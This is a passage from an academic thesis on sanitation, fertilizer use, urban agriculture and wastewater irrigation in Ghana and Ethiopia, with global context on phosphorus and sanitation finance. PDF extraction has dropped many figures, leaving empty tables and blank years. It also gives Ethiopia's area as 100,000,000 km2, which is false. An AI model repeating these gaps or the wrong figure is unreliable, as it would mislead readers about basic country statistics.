36 12 Community Water and Sanitation Agency (CWSA) was established to manage rural water supply systems, hygiene education and provision of sanitary facilities. The formation of the Coalition of NGOs in Water and Sanitation (CONIWAS) in 2003 has contributed to a better sector coordination (MWRWH, 2009). CONIWAS also organizes the Mole Conference Series, which bring together sector practitioners such as non-governmental organizations (NGOs), government agencies, private sector and community-based organizations (CBOs) to discuss, learn and share knowledge on water, sanitation and hygiene (WASH) themes. In 2004, a Water Directorate was created within the Ministry of Water Resources, Works and Housing (MWRWH) to oversee sector policy formulation and review monitoring and evaluation of the activities of the agencies and co-ordination of the activities of donors (WSP, 2011b). An Environmental Health and Sanitation Division under the Ministry of Local Government and Rural Development was upgraded into a Directorate in 2008 (MWRWH, 2009). The Environmental Health and Sanitation Directorate (EHSD) is responsible for policy formulation and coordination and it is also the lead institution supporting processes for increasing access (Dabire, 2011). A National Sanitation Task Force was formed in 2009 to monitor and document implementation challenges (Dabire, 2011). The draft Revised National Environmental Sanitation Policy has been recently approved and it will be published for dissemination soon (Smith-Asante, 2010). Regarding the efforts to meet the MDG sanitation target in Ghana, the EHSD has lately finalized the National Environmental Sanitation Action and Investment Plan, which aims at achieving minimum service options by 2015 (Dabire, 2011). According to WSP (2011b), the total capital expenditure for sanitation hardware requirements to meet the MDG sanitation target in Ghana is estimated at USD 402 million per annum. With the community-led total sanitation (CLTS) accepted as a feasible approach, households are expected to meet the full costs of sanitation hardware (WSP, 2011b). However, the mechanisms and finance for promoting nationwide adoption of household sanitation are not fully clear yet (WSP, 2011b). Thus, sufficient promotion, marketing and innovative microfinance arrangements have to be introduced in Ghana in order to encourage households to invest in sanitation. 2.2 Ethiopia This section presents background information about Ethiopia General information Ethiopia is a landlocked country located in the Horn of Africa with an estimated population of nearly 83 million, of which approximately only 18 % is urban (see Table 2.2) (World Bank, 2011a). The country has an area of 100,000,000 km 2 (World Bank, 2011a) and is divided into nine regions, i.e. Afar, Amhara, Benishangul-Gumuz, Gambela, Harari, Oromia, Somali, Southern Nations, Nationalities, and People's Region and Tigray. Addis Ababa is Ethiopia s capital city, which besides Dire Dawa is one of the two cities in the country that have a city and state status. Background information about Ethiopia is summarized in Table 2.2. Even though the state of the Ethiopian economy has been improving, the country s GDP per capita is one of the smallest in the world and far below the GDP value for sub-saharan Africa
37 13 as a region (World Bank, 2011a). Ethiopia with a 2011 Human Development Index (HDI) of was ranked 174 out of 187 countries with comparable data and below the sub-saharan Africa regional average of (UNDP, 2011a). Ethiopia is suffering from poverty and food insecurity, which is mirrored in the high percentage of undernourished population and of population living below the national poverty line (see Table 2.2). Table 2.2: Summary of background information about Ethiopia (World Bank, 2011a; UN, 2011a; UNDP, 2011a) Indicator Year Score Population (million) Population growth (annual %) Urban population (% of total) Urban population growth (annual %) Slum population as percentage of urban (%) GDP (current, billion US$) GDP growth (annual %) GDP per capita (current, US$) Sanitation coverage The data provided by the Ethiopian government present higher sanitation coverage figures than the WHO/UNICEF Joint Monitoring Program (JMP) data. The government data show an increase to 39 % coverage by 2009 (30 % rural, 88 % urban) from a baseline of close to zero in 1990 (WSP, 2011a). JMP data, on the other hand, show a 12 % improved sanitation coverage in 2008 with the MDG sanitation target of 52 % by 2015 (see Figure 2.4) (WHO and UNICEF, 2010). Based on the JMP data, in order to meet the MDG sanitation target, 5.8 million Ethiopians need to get access to improved sanitation facilities annually ( ) (Sanitation and Water for All, 2011a). There is also a huge disparity between urban and rural areas, with only 8 % of the rural population and 29 % of the urban population using improved sanitation facilities (see Figure 2.4). The percentage of population in Ethiopia that practices open defecation is still very high (60 %), even though it declined by 32 % since 1990 (see Figure 2.4).
38 Percentage of population % 90% 80% 70% 60% 50% 40% 30% 20% 10% 0% urban rural total Improved Shared Unimproved Open defecation Figure 2.4: Urban, rural and total sanitation coverage in 1990, 2000 and 2008 in Ethiopia (based on WHO and UNICEF, 2010) Agriculture In 2008, agricultural land area in Ethiopia comprised almost 35 % of the total land area (World Bank, 2011a). In 2010, the share of agriculture in the GDP in Ethiopia was 48 % (World Bank, 2011a). The sector provides employment for 85 % of the Ethiopian population (Dejene, 2000 cited in Economic Commission for Africa, 2001) and is responsible for over 81 % of the country s total exports (WTO, 2011). This demonstrates the importance of agriculture to Ethiopia s economy, which is even higher than in the case of Ghana (see Section 2.1.3). Ethiopia has five traditional agro-climatic zones that have different physical characteristics in terms of altitude, rainfall, length of the growing period and average temperature (Dejene, 2003). The annual rainfall in these zones varies from mm (Kola warm and semi arid zone) to 900-2,200 mm (Wurch cold and moist zone) (Dejene, 2003). The production of cash and industrial crops (sugar cane, pulses, vegetables, fruit, coffee, sesame, oil seeds, cotton, tea, tobacco, spices and sisal) in Ethiopia amounted to almost 7.4 million tons in 2009, of which the production of sugar cane amounted to 2.3 million tons, of pulses to 1.8 million tons, of vegetables to 1.6 million tons and of fruit to 0.8 million tons (FAO, 2012). In 2010, the most cultivated food crops in Ethiopia (in descending order) included: maize, teff, wheat, sorghum, barley, horse beans, potatoes and millet (FAO, 2011a). Thus, cereals and pulses are the most cultivated food crops in Ethiopia Fertilizer use Soils in Ethiopia can be generally characterized as follows: soils with a low phosphorous content (found in most of the southern and southwestern Ethiopia), soils with a very low nitrogen content caused by water clogging (found in the highlands and some parts of the lowland), soils with a low nitrogen content caused by low organic content and with a relatively high phosphorous content (found in the
39 15 central and northern highlands), soils with a high nitrogen but a low phosphorous content (found in the south and southwestern part) (Dejene, 2003). Ethiopia is one of the countries in Africa with the most negative nitrogen, phosphorous and potassium balances because of a high ratio of cultivated to total arable land, relatively high crop yield and a high rate of soil erosion (Stoorvogel and Smaling, 1990 cited in Lesschen et al., 2004). The most visible form of land degradation in Ethiopia is soil erosion, which affects almost half of the agricultural land and results in soil loss of 1.5 to 2.0 billion tons per annum (Dejene, 2003). Henao and Baanante (2006) reported the average levels of nutrient losses (nitrogen, phosphorus, potassium) in Ethiopia to be 49 kg per ha and year, which places Ethiopia in the medium nutrient depletion level group (30-60 kg/ha*year), but not far from the African countries with the highest depletion rates (60-90 kg/ha*year). Human induced soil degradation affects approximately 25 % of the land in Ethiopia, which is more than a double of that in Ghana (refer to Section ) (FAO, 2005b). In terms of the quantity of commercial fertilizer applied to crops in private holdings for the main cropping season in 2009/2010, the largest quantity of fertilizer was applied to cereals (almost 335,000 t), of which the most to teff, wheat and maize, pulses (over 41,000 t), oil seeds (almost 18,000 t), root crops (almost 10,000 t) and to vegetables (almost 8,000 t) (Central Statistical Agency of Ethiopia, 2011). Fertilizer application rates grew in Ethiopia in the late 1990s, after farmers were allowed to buy fertilizer with 100 % credit (1995) and as a result of the Government s National Extension Package program that stressed the importance of using external inputs in order to accelerate production (Dejene, 2003). However, the current fertilizer prices make it often impossible for farmers to apply fertilizers. Thus, alternative options need to be explored. In the years , the consumption of fertilizer in Ethiopia varied between 16.9 kg/ha of arable land in 2002, through 5.6 kg/ha in 2004 to 7.7 kg/ha in 2008 (World Bank, 2011a). Due to the fact that phosphorous and nitrogen are the most crucial limiting factors to plant growth in Ethiopia, a blanket recommendation of 100 kg DAP and 50 kg of urea was formulated for the country (Dejene, 2003). Thus, as it can be seen in Figure 2.5, fertilizers imported to Ethiopia in the years included DAP and urea (FAO, 2011a). According to the Central Statistical Agency of Ethiopia (2011), in the main growing season of 2009/2010 in private holdings in Ethiopia, a total of almost 423,000 t of fertilizer was applied, of which 122,000 t of DAP, 21,000 t of urea and almost 280,000 t of DAP + urea.
40 Fertilizer imports 16 [in t] Urea DAP Figure 2.5: Year Fertilizer imports in Ethiopia, (in tons) (based on FAO, 2011a) Urban and peri-urban agriculture Urban agriculture is a traditional practice in Ethiopia with the urban population producing mainly for household s own consumption, with a small proportion left for sale (Egziabher et al., 1994). Urban agriculture is practiced in Ethiopia as a response to food insecurity and due to the shortage of income and unemployment in urban areas (Lamba, 1993). Addis Ababa houses about 23 % of the urban population in Ethiopia (Population Census Commission, 2008). There is a large number of households whose livelihoods are connected with farming in Addis Ababa, supporting directly more than 51,000 families (ORAAMP, 2000 cited in Tewodros, 2007). Urban farming in Addis Ababa is practiced either as backyard farming in open spaces around houses and in low-lying areas that are located along a river or in peri-urban areas. Urban farming in the capital city encompasses crop production, livestock rearing and mixed farming (crop production and livestock rearing), the latter one being practiced by 40 % of the households in the city (Tewodros, 2007). Different sources state the extent of the area associated with urban agriculture in Addis Ababa. One source indicates that the total area dedicated to urban agricultural activities in the city extends over 9,380 ha (over 17 % of the city) of which about 490 ha is used for vegetable production (UAESCP, 2010 cited in Woldu, 2010). Another source reported that urban agriculture covers about 16,000 ha in Addis Ababa, of which almost 12,000 ha is cultivated (PSPC, 2003 cited in Girmai, 2007). Crops cultivated in urban agriculture are mainly vegetables, which are in most cases sold and the revenue is used for buying food products to satisfy household s needs (Tewodros, 2007). The use of fertilizer and manure is common for urban farmers in Addis Ababa, with more than 80 % of the crop producers applying fertilizer and manure (Tewodros, 2007). Crop residues or animal manure (if they keep animals) is used by 42 % of the urban farmers producing crops and 27 % collects animal manure from livestock keepers located in the surrounding area.
41 Wastewater irrigation Wastewater irrigation in urban and peri-urban farms for subsistence and market consumption has been practiced since 1940s in Addis Ababa and its surroundings (Weldesilassie et al., 2010). In Addis Ababa, approximately 49 million m 3 of wastewater is generated annually (Van-Rooijen et al., 2010) and most of it is disposed into rivers and streams flowing through the city (Bahri, 2007). One of these rivers Akaki serves as irrigation water for vegetable farms (Van-Rooijen et al., 2010). The levels of total coliform count in the samples from the Little Akaki River 9 in 1997/1998 were between 2.9x10 6 /100 ml (dry season) and 3.8x10 4 /100 ml (upstream), i.e. higher than the local Environmental Protection Authority 2005 standard (400/100 ml) (Environmental Protection Authority, 2003 cited in Weldesilassie et al., 2010). Urban agriculture in Addis provides approximately 60 % of the vegetables consumed in the city, which are mainly irrigated with wastewater (Bahri, 2007; Weldesilassie, 2008). Moreover, as many as 90 % of the leafy vegetables sold in the market in Addis originates from urban farms (Weldesilassie et al., 2010). In Addis Ababa, a survey found about 1,260 farm households producing vegetables with wastewater irrigation on about 1,240 hectares (Weldesilassie et al., 2010; p.30). Vegetable farmers in the capital of Ethiopia apply water to the soil (channel and furrow irrigation), which poses a lesser contamination risk than in case of sprinkling water over vegetables Water and sanitation sector development Even though hygiene and sanitation had been marginalized for a long time in Ethiopia, the political commitment in the past few years resulted in important actions (refer to Figure 2.6). Ethiopia went through a progressive decentralization process resulting in a significant transformation in the institutional arrangements for basic service provision. In the 1990s, the Regional Water Bureaus were provided with a large degree of autonomy to develop their water supply services (WSP, 2011a). Then, in 2004 a second wave of decentralization brought responsibilities over basic service delivery to the district or woreda 10 level (WSP, 2011a). At the federal level, the Ministry of Water Resources (MoWR) has initiated many policies, strategies, sector development programs and implementation arrangements to reach the MDG water and sanitation target (WSP, 2011a). The National Hygiene and Sanitation Strategy (2005) expressed a shift towards low-cost sanitation solutions and large-scale investment in promotion (WSP, 2011a). This goes in line with the Health Extension Program (2004), within which a vast network of health extension workers were employed across the country to promote household sanitation. The political will to support the improvement of the sanitary situation in Ethiopia was particularly expressed in the Universal Access Plan (UAP) (2006), where a target of reaching 100 % sanitation coverage by the year 2012 (recently revised to 98.5 % and extended to 2015) was set (MoWR, 2006; WSP, 2011a). Even 9 The Akaki River has two main catchments- the Little Akaki River and the Great Akaki River. 10 Woredas are the basic units of government responsible for provision of public services in Ethiopia.
42 18 though the achievement of the UAP will be a challenge, setting such a bold target shows the importance of water supply and sanitation on the Ethiopian political agenda. Establishment of the Ministry of Water Resources (MoWR) Water Resources Management Policy National Water Sector Strategy National Sanitation and Hygiene Strategy Water Sector Development Program Health Extension Program EU Country Dialog catalyzed intersector integration of WaSH Revised UAP: increased focus on low-cost technologies and self-supply PASDEP-2 and the adjustment of the UAP targets (98.5 % till 2015) 1990 Decentralization of water supply development to regions Water and Sanitation Master Plan Decentralization of rural water supply responsibilities to woredas Universal Access Plan (UAP): 100 % access to water supply and sanitation by Memorandum of Understanding (MoWR, MoH, MoE) Plan for Accelerated and Sustainable Development to End Poverty (PASDEP) National Protocol for Hygiene and On- Site Sanitation 1 st annual Multi- Stakeholder Forum followed by bi-annual Joint Technical Review Figure 2.6: Important dates in the water and sanitation sector in Ethiopia (compiled from MoH, 2005; MoFED, 2006; MoH, 2006; MoWR, 2006; MoWR et al., 2006; Sengogo, 2009; WSP, 2011a) The Poverty Reduction Strategy Paper (PRSP 11 ) called Plan for Accelerated and Sustained Development to End Poverty (PASDEP) for the period between 2005/2006 and 2009/2010 planned a program to promote and support the use of toilets with a target of increasing rural and urban sanitation coverage (MoFED, 2006). In 2006, the Ministries of Water Resources, Health and Education signed a Memorandum of Understanding to integrate resources and to improve the coordination of water supply, sanitation and hygiene activities. In the same year (2006), the first WASH Multi-Stakeholder Forum (MSF) was held as a result of the EU Water Initiative Country Dialog. Both the annual MSF and bi-annual Joint Technical Review help to harmonize the fragmented donor finance (WSP, 2011a). The Ministry of Water Resources estimated the minimum funding requirements to achieve universal household and institutional coverage of improved hygiene and sanitation by 2012 in Ethiopia (not taking into account water quality monitoring and solid waste) at USD 644 million (MoWR et al., 2007). The estimations by the WSP (2011a) are even higher as the total investment for sanitation hardware to meet the 11 The PRSP approach, initiated by the International Monetary Fund and the World Bank in 1999, results in a comprehensive country-based strategy for poverty reduction.
43 19 government target was projected to be USD 795 million per annum, all of which is expected to be contributed by households due to the policy of users paying the full costs for sanitation hardware. The anticipated public investment for sanitation is at approximately USD 50 million per year, the majority of which is to be spent on promotion work, which is of crucial importance to convince households to finance and build their own facilities (WSP, 2011a). This investment is, however, likely to be insufficient. Furthermore, an institutional sanitation needs assessment in 2007 estimated the costs of sanitation for existing schools and health facilities to be an additional USD 50 million (WSP, 2011a). Also, with increasing coverage, rehabilitation costs also increase. According to the WSP (2011a), the annual operation and maintenance costs for sanitation in Ethiopia are estimated at USD 104 million. 2.3 Selected global challenges Selected global challenges including urbanization, global food demand, depleting phosphorous resources and the global sanitation challenge are discussed in this section Urbanization The rate of urbanization in African countries is growing at the highest pace in the world (UN, 2010b). In 2009, almost 40 % of the African population was urban, which will grow to 60 % by 2050 (UN-HABITAT, 2010). Ethiopia s urban population is expected to grow from almost 17 % in 2009 to almost 38 % in 2050, whereas Ghana s from almost 51 % in 2009 to almost 76 % in 2050 (UN, 2010b). Another significant problem is the number of urban residents living in slum conditions, which grew from 657 million in 1990 to 767 million in 2000, with current estimates of approximately 828 million (UN, 2011b). In 2010, in sub-saharan Africa, as much as 62 % of the urban population lived in slums (UN, 2011b). In Ghana, almost 43 % of the urban population and in Ethiopia, over 79 % of the urban population lived in slum conditions (UN, 2011a). It is also important to highlight the fact that 70 % of all African urban population growth will take place in smaller cities, with populations of less than half a million (UN-HABITAT, 2010). Therefore, it is in particular the smaller African cities that will increasingly need public investment to cater for this growth (UN-HABITAT, 2010). Thus, the need for investment in water and sanitation, health care, education, transportation and housing is urgently needed in urban and peri-urban Africa Growing food demand With the increasing global population 12, there is also a growing demand for food. At the same time, current practices of unsustainable wastewater disposal and agriculture systems are threatening the future global food supply. Not returning nutrients into the soil has caused an increasing demand for chemical fertilizers, for production of which large amounts of energy and mineral resources are used 12 The world population will increase from almost 7 billion in 2011 to more than 8 billion by 2025, exceed 9 billion in 2043, and 10 billion by 2090 (UNDESA, 2011).
44 20 (Panesar A.R. and Werner C., 2006). It is also one of the reasons for degraded soils. Currently, approximately 25 % of the Earth s land is desertified 13 (IFAD, 2010). A map of degraded soils worldwide is presented in Figure 2.7. Very degraded soils are found, in particular in semi-arid areas (e.g., in sub-saharan Africa), areas with high population growth (e.g., in China, Mexico, India) and regions undergoing deforestation (e.g., in Indonesia). In Africa alone, approximately 75 % to 80 % of the farmland is degraded and the continent loses about 30 kg to 60 kg of nutrients per hectare annually, which is the highest rate in the world (Rosemarin, 2010a). Figure 2.7: Global soil degradation (UNEP/GRID-Arendal Maps and Graphics Library, 2002) Declining soil productivity reduces crop yields and sets in motion a vicious cycle of inadequate soil fertility causing low crop yields, which, in turn, produce limited farm revenue so that farmers lack funds to purchase mineral fertilizers (Faurès and Santini, 2010). As this cycle is repeated over time, soil fertility and crop yields continue to decline. Urban and peri-urban agriculture can serve as one of the options for improving urban food supplies and for poverty reduction (Bahri, 2007; Raschid-Sally and Jayakody, 2008). For example, in Accra, approximately 200,000 urban residents benefit each day from vegetables produced in irrigated urban agriculture (Obuobie et al., 2006). Incorporating the agricultural system to the sanitation system is one of the methods to close the loop and recycle nutrients back to the agricultural system in urban, periurban and rural areas (Bahri, 2007). Also, the problem of waste disposal in cities may be reduced by encouraging urban agriculture, whereby waste is used as manure (Lamba, 1993) Depleting phosphorous resources Phosphorous, nitrogen and potassium are essential nutrients contained in fertilizers. Phosphorous as an element does not have any substitutes for plant or animal growth (Cordell et al., 2009). The dependence on phosphate rock to reach high crop yields 13 Land desertification is defined as persistent degradation of dryland ecosystems by human activities and climatic variations (IFAD, 2010, p.1).
45 21 resulted in a growing concern about the depletion of global phosphate rock resources and the uncertainty about how long the existing deposits will last and whether further deposits can be found. Phosphate fertilizer prices experienced a significant increase during 2007/2008 as a reaction to the severe increase in oil prices and the resulting production of ethanol as a liquid fuel from food crops (Rosemarin, 2010a). In the last couple of years, the price for phosphorous on global markets has been rising gradually. For example, the price for triple superphosphate in 2011 (Jan-Dec) increased by 41 % and the price for phosphate rock increased by about 50 % in comparison to the prices from 2010 (Jan- Dec) (World Bank, 2012a). According to FAO (2008), the annual demand for phosphorous fertilizer will grow by approximately 3 % until Especially in Africa, the demand for phosphorous fertilizers will continue to increase (Cordell et al., 2009). Cordell (2010) estimates peak phosphorus to occur before 2035, after which demand for phosphorous will exceed its supply. Moreover, current sanitation and waste systems are not capable of easily recycling phosphorous (Rosemarin, 2010b). The demand for phosphorous could be met through a high recovery and reuse rate of all sources of phosphorous, including crop residues, food waste, manure, human excreta and virgin sources such as seaweed, algae and phosphate rock (Cordell et al., 2009; Cordell, 2010). According to Dockhorn (2009), in the view of depleting phosphorous resources, the recovery of phosphorous from wastewater and sewage sludge will gain in importance. About 28 % of the global phosphorous fertilizer consumption could be offset with the phosphorous contained in human excreta (Dockhorn, 2009). The cost of phosphate removal from municipal water at a state-of-the-art wastewater treatment plant would amount to about EUR 9 billion per annum worldwide, which would be approximately 66 % of the actual market value of this phosphorous (Dockhorn, 2009). Therefore, separation of urine and feces at source (at the toilet) should be much more energy and cost efficient than removing phosphorous at a wastewater treatment plant (Cordell et al., 2009). Taking into account magnesium ammonium phosphate (MAP) as the phosphorous recovery product from wastewater, Dockhorn (2009) calculated the lowest MAP-production costs at 160 /t MAP for MAP precipitation from urine with seawater used as a source of magnesium Global sanitation challenge According to WHO and UNICEF (2010), in 2008, an estimated 2.6 billion people in the world did not have access to improved sanitation facilities. The greatest number of people without access to sanitation facilities are concentrated in Southern Asia, Eastern Asia and sub-saharan Africa, as presented in Figure 2.8. At the current rate of progress, the world will miss the MDG sanitation target and it will take until 2049 to provide 77 % of the global population with improved sanitation (WHO and UNICEF, 2010; UN, 2011b). Even if the world meets the MDG sanitation target, there will be still 1.7 billion people without access to basic sanitation (WHO and UNICEF, 2010). If the trend remains as currently projected, by 2015 there will be 2.7 billion people without access to basic sanitation (WHO and UNICEF, 2010). There is also a big disparity between access to improved sanitation by poor and rich households. An analysis of trends over the period for three countries in Southern Asia showed that sanitation improvements benefited the wealthier, while
46 22 sanitation coverage for the poorest quintile of households barely increased (UN, 2011b). On track: >95 % or 2008 figure was within 5 % of required rate to meet the target Progress but insufficient: 2008 figure was between 5 % and 10 % of the required rate to meet the target Not on track: flat or decreasing trend between or 2008 figure was not within 10 % of the required rate to meet the target No or insufficient data: includes countries or territories where data were either not available or were not sufficient to estimate trends Figure 2.8: Sanitation progress towards the MDG target, 2008 (WHO and UNICEF, 2010) The access to improved sanitation facilities is particularly low in sub-saharan Africa, with little progress made from 28 % coverage in 1990 to 31 % in 2008 (WHO and UNICEF, 2010). Open defecation is practiced by 27 % of the population living in sub- Saharan Africa, down from 36 % in 1990 (WHO and UNICEF, 2010). What makes matters worse is the striking disparity between urban and rural areas, as it was already presented on the examples of Ghana and Ethiopia (refer to Figure 2.1 and Figure 2.4). Access to improved sanitation in both countries is higher in urban areas, but it still accounts for less than 30 %, whereas in rural areas for less than 10 %. Even though, in general, urban areas are better served than rural areas, they are struggling to keep up with the growth of the urban population (WHO and UNICEF, 2010). Also, the potential spread of diseases in highly populated areas like congested cities and slums poses a bigger health threat as it is much greater than in rural areas (Paterson et al., 2007) Benefits of access to sanitation facilities The importance of sanitation was proven in a pole carried out in 2007 for the British Medical Journal, where sanitation was voted the greatest medical milestone of the last 150 years (Ferriman, 2007). Also, recently, access to safe water and sanitation was listed among top global public health achievements in the first decade of the 21 st century identified by the Centers for Disease Control and Prevention (Koppaka, 2011).
47 23 Hutton et al. (2007) distinguished between different benefits from gaining access to water and sanitation and these include the following: health benefits, direct economic benefits from avoiding diarrheal disease (the health care and non-health care costs avoided due to fewer cases of diarrhea), indirect economic benefits related to health improvement (gains related to lower morbidity and gains related to fewer deaths), and non-health benefits related to water and sanitation improvement (reduction in time expenditure or time savings associated with closer water and sanitation facilities). In addition, improved sanitation increases primary school enrollment, productivity, provides security, especially for women, and reduces the pollution of the environment, in particular of water resources. Health benefits According to Stedman (2008), 15 % of the deaths in Ethiopia are attributable to water or wastewater. In Ghana, inadequate water supply and sanitation contribute to 70 % of the diseases (Public Citizen/ Water for All, 2002). Ghana has been experiencing cholera outbreaks almost every five years since the 1970s (Holland, 2011). Worldwide, almost 90 % of the diarrheal deaths are caused by unsafe water, sanitation or hygiene, with over 99 % of these deaths being in developing countries, of which about 84 % occur in children (WHO, 2009). Fewtrell et al. (2005) reported that diarrheal morbidity can be reduced through investments in water and sanitation; a 45 % reduction of diarrheal cases from improved hygiene, a 39 % reduction from household water treatment and an average 32 % reduction from improved sanitation. According to WHO and UNICEF (2000), provision of adequate sanitation services, safe water supply and hygiene education reduces the mortality related to diarrheal disease by an average of 65 % and the related morbidity by 26 %. If the MDG water supply and sanitation target is reached by 2015, potentially 546 million cases of diarrhea can be prevented annually (Hutton et al., 2007). Approximately 730,000 lives could be saved each year, of which roughly 33 % would be in Africa, if all the people in the world gain access to improved water supply and sanitation facilities (Hutton et al., 2007). Under-five children mortality Under-five children mortality is one of the indicators that measures the level of child health and overall development in countries. According to UNICEF, malnutrition and the lack of access to safe water and sanitation contribute to a half of child deaths every year. In 2009, under-five child mortality was the highest in sub-saharan Africa, where 1 child in 8 died before their fifth birthday, which is nearly double the average in developing regions and almost 20 times the average in developed regions (UNICEF et al., 2010). In 2009, there were 31 countries with under-five mortality of at least 100 deaths per 1,000 live births and 30 of these countries were located in sub- Saharan Africa (UNICEF et al., 2010). In 2010, 74 out of 1,000 newborn children in Ghana and 106 out of 1,000 newborn children in Ethiopia was recorded as children mortality rate under five (World Bank, 2011a).
48 24 Disability Adjusted Life Years In 2004, over 4 % of the global burden of disease as measured in Disability Adjusted Life Years (DALYs) was attributed to unsafe water, sanitation and hygiene (WHO, 2009). Insufficient sanitation, hygiene and access to safe water increase the prevalence of diarrheal diseases. In 2004, these diseases were responsible for 1.9 million deaths, of which almost 0.9 million occurred in Africa (WHO, 2008). Diarrheal disease with 8.6 % of the total DALYs was among the leading causes of burden of disease in Africa (WHO, 2008). Economic benefits There is a clear economic benefit of gaining access to adequate sanitation facilities. The combined economic impact of inadequate sanitation in Cambodia, Indonesia, the Philippines and Vietnam was estimated to USD 9 billion per year (WSP, 2008a). Furthermore, ten countries in Africa, including Benin, Burkina Faso, Democratic Republic of Congo, Ghana, Kenya, Madagascar, Mozambique, Niger, Nigeria and Rwanda, are losing an average of 1 % of their GDP every year as a result of poor sanitation (WSP, 2011c). In some countries, the impact is higher than the average; about 2.4 % in Niger, 2.0 % in Burkina Faso, and 1.6 % in Ghana and in the Democratic Republic of Congo. According to UNDP (2006b), sub-saharan Africa loses about 5 % of its GDP, in other words approximately USD 28.4 billion annually, due to the water and sanitation deficit. Therefore, providing access to adequate sanitation is a non-negotiable requirement for a country s well-being and economic development. A study proved that: there is a strong economic case for investing in improved water supply and sanitation services, when the expected cost per capita of different combinations of water supply and sanitation improvement are compared with the expected economic benefits per capita (Hutton et al., 2007, p.499). Hutton et al. (2007) estimated the potential annual health sector costs saved in developing regions for the MDG water and sanitation target at USD 1.7 billion per year. Furthermore, the global gain of 310 million working days can be reached for the total working population aged for the MDG water and sanitation target (Hutton et al., 2007). According to the UN, for every USD 1 spent on sanitation, the return on investment is approximately USD 9 (UN-Water, 2009). Hutton et al. (2007) estimated that in developing regions, the return on a USD 1 investment in water and sanitation improvements was in the range of USD 5 to USD 46, depending on the intervention. Even though the exact return is not easy to be estimated, the numbers suggest that there is a clear benefit of investing in water and sanitation facilities. Economic benefits should be used as a driver for sanitation adoption. For example, in Ethiopia, an NGO called Vita (formerly known as Refugee Trust International) works with community-led total sanitation (CLTS). As part of Vita s interventions, communities are told how much medical expenses they might face as a result of open defecation practices (pers. communication, A. Banjaw and B. Feseha, Arba Minch, ). In this way, the NGO shows the economic advantage of adopting sanitation. Not only do the communities start understanding the link between poor sanitation and health, but they also realize potential economic benefits
49 25 of sanitation adoption. They recognize sanitation as an investment with future returns and do not consider it as an unnecessary expenditure that takes away their mostly valued resources. As a result of Vita s intervention, already nine villages declared to be open defection free. Economic benefits are not only medical expenses, but also the time taken to find a place to relieve oneself, which is the time lost that could be spent on household tasks, domestic production, childcare, education or even paid work (Sijbesma et al., 2008). 2.4 The opportunity for private sector involvement in sanitation According to Foster and Briceño-Garmendia (2010), countries need to spend approximately 0.9 % of the GDP per year, of which 0.7 % in investment and 0.2 % in operation and maintenance in order to meet the MDG sanitation target. Another publication suggests that [e]stimated spending required in developing countries to provide new coverage to meet the MDG target is 42 billion United States dollars (US$) for water and US$ 142 billion for sanitation (Hutton and Bartram, 2008, p.iv). Maintaining existing services costs an additional USD 322 billion for water supply and USD 216 for sanitation (Hutton and Bartram, 2008). Many countries in Africa, including Ghana and Ethiopia are struggling to provide adequate water supply and sanitation. Ghana and Ethiopia are among the signatories of the 2008 ethekwini Declaration, in which seventeen African governments pledged to allocate a minimum of 0.5 % of their GDP for sanitation and hygiene (WSP, 2008b). In Ghana, the annual government spending on water and sanitation was 0.38 %, 0.28 % and 0.29 % of the GDP, respectively (WaterAid, 2011). In the years , the Ethiopian government allocated 0.60 % (2008), 0.56 % (2009) and 0.46 % (2010) of the GDP on water and sanitation (WaterAid, 2011) Enabling environment for private sector involvement in sanitation In order to help solve the problem of the low access to improved sanitation facilities (refer to Section 2.3.4), private sector involvement in sanitation should be given a closer consideration. According to Davis (2005), private sector participation in water and sanitation is limited in sub-saharan Africa; between 1990 and 1997, less than 0.2 % of all private sector investments in the developing world involved sub-saharan Africa countries. Between 1990 and 2010, private sector investment in water and sewerage projects in sub-saharan Africa amounted to approximately USD 2.7 billion spent on 26 projects, compared to about USD 29.6 billion spent on 402 projects in East Asia and Pacific (World Bank, 2011b). The investment in sub-saharan Africa in water and sewerage projects was only about 0.2 % of the total investment in transportation, telecom and water and sewerage, compared to over 9 % in East Asia and Pacific. Despite some reservations whether the private sector can meet the needs of the poorest citizens, the private sector is becoming more and more acknowledged as an important development partner in the water and sanitation sector (Howard, 2005). Arguments for the involvement of the private sector in water and sanitation provision include the fact that:
50 26 the private sector would introduce technical and managerial efficiency, expertise and new technologies; improve economic efficiency in operational performance and capital investment; inject large scale investment or gain access to private capital markets; reduce public subsidies or redirect them more directly to the poor; insulate basic services from short term political intervention and limit intervention by powerful interest groups; and make services more responsive to consumer needs and preferences through the introduction of business oriented principles (Howard, 2005, p.2) Situation in Ethiopia In Ethiopia, the National Water Sector Strategy, which was adopted by the government in 2001, promotes the involvement of all stakeholders, including the private sector, and integrating water supply, sanitation and hygiene promotion activities (MoWR, 2001). Currently, the involvement of the private sector in hygiene and sanitation in Ethiopia is rather limited (WSSCC, 2009). A number of NGOs, including Catholic Relief Services, Catholic Church of Gamo Gofa and South Omo, Oxfam and WaterAid, working in the Southern Nations, Nationalities and People s (SNNP) Region in Ethiopia were interviewed. The information collected showed that the local private sector has been contracted, in particular for consultancy, emptying of septic tanks and pit latrines, development of toilet molds, drilling work and for supply of materials and products. Local contractors have also launched cooperative activities with woredas, and these included, for example, training of artisans in slab production and toilet construction as well as provision of toilet molds. According to WSSCC (2009), construction of household sanitation facilities in towns in Ethiopia is performed by private masons and contractors. Since 2004, the WASH movement has provided a panel for stakeholders such as governmental agencies, international and national NGOs, CBOs, media as well as the private sector, including bottle, soap and chemicals manufacturers as well as toilet and septic tank producers (e.g., AquaSan Ethiopia, Roto PLC) to work together. The activities of the WASH movement mainly focus on social mobilization and awareness raising. Within the framework of the movement, a global hand-washing campaign was conducted in 2004/2005 in order to improve the public-private sector partnership. Thus, the WASH movement, besides its main objectives, can be seen as a platform for exchanging information and fostering cooperation with the private sector. As a result of the Memorandum of Understanding signed in 2006 between the Ministries of Water Resources, Health and Education (refer to Section 2.2.4), any water supply project is to be integrated with a hygiene and sanitation intervention, which has also drawn the attention of the private sector to the provision of services in the latter field. Furthermore, since 2006, the annual WASH Multi-Stakeholder Forum (refer to Section 2.2.4) has been bringing all stakeholders at one table, including the private sector. The first Forum held in 2006 brought together participants from national and regional governments, UN agencies, NGOs, the private sector, academia and the donor community. One of the accomplishments agreed for the year ahead included the implementation of policy and regulatory measures to increase private sector participation for WASH services (Suominen et al., 2008). Even though the progress in terms of involving the private sector is still slow, setting the above-mentioned goal as one of the undertakings proves its importance in Ethiopia. Furthermore, one of the
